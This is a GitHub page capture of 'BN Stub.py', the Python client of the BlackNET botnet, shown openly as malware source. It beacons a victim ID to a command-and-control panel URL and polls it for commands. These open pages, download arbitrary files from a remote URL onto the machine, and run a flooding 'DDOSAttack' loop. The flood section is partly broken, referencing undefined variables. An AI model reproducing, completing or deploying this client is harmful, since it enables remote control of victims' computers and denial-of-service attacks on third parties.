forked from decay88/BlackNET
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathBN Stub.py
79 lines (70 loc) · 2.35 KB
/
BN Stub.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import requests
import os
import socket
import struct
import platform
import base64
import time
PanelURL = "http://EnterYourBlackNETPanelHost/blacknet/"
cid = "HacKed"
uid = cid + "_" + base64.b64encode(os.getlogin());
if os.name == "posix":
oss = "GNU/LINUX"
elif os.name == 'nt':
oss = "Microsoft Windows"
else:
oss = "MacOS"
requests.get(url = PanelURL + "connection.php", params = {'VicID': uid,'os': oss,'antivirus': "None",'status': "Online"})
count = 0
while (count == 0):
commands = requests.get(PanelURL + "/Clients/" + uid + ".txt")
splitcommand = commands.text.split("|BN|")
time.sleep(10)
if splitcommand[0] == '':
print ""
else:
if splitcommand[0] == "PrintMessage":
time.sleep(10)
print splitcommand[1]
time.sleep(10)
requests.get(url = PanelURL + "receive.php", params = {'command': "CleanCommands",'VicID': uid})
else:
print "";
if splitcommand[0] == "OpenPage":
time.sleep(10)
os.system("firefox " + splitcommand[1])
time.sleep(10)
requests.get(url = PanelURL + "receive.php", params = {'command': "CleanCommands",'VicID': uid})
else:
print "";
if splitcommand[0] == "DDOSAttack":
port = 80;
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
port = port + 1
if port == 65534:
port = 1
else:
print "";
if splitcommand[0] == "UploadFile":
file_url = splitcommand[1]
r = requests.get(file_url, stream = True)
with open(splitcommand[2],"wb") as pdf:
for chunk in r.iter_content(chunk_size=1024):
if chunk:
pdf.write(chunk)
pass
requests.get(url = PanelURL + "receive.php", params = {'command': "CleanCommands",'VicID': uid})
else:
print "";
if splitcommand[0] == "Uninstall":
requests.get(url = PanelURL + "receive.php", params = {'command': "Uninstall",'VicID': uid})
quit()
else:
print "";
if splitcommand[0] == "Close":
quit()
else:
print "";
pass